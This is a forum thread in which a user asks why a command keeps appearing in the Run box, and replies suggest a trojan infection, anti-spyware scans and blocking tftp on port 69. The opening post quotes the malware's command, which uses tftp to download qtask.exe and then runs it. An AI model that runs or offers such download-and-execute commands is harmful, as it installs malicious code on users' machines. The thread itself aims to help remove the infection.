    About 5 times yesterday this would show up in my Run command while it
    was working. I have no idea why and doing a virus and adaware scan
    does not fix it. I do not have Quicken installed on my PC.

    tftp -i get qtask.exe& start qtask.exe& exit

    I just want to get rid of it so what else can I try?

  2. Maybe you are infected with this:
    ...which says it uses the filename qtask.exe

    Or maybe you have some other trojan that is trying to download it.
    Try the first three (free) anti-spyware programs listed here:

    why? Guest

    So then tell your firewall to

    a) block tftp.exe or .com as an app
    b) block the IP address
    c) block the (default) port
    tftp 69/tcp Trivial File Transfer
    tftp 69/udp Trivial File Transfer

    Ask them?
    d) rename tftp.exe / .com
    e) delete it (c)
    Fairly simple.
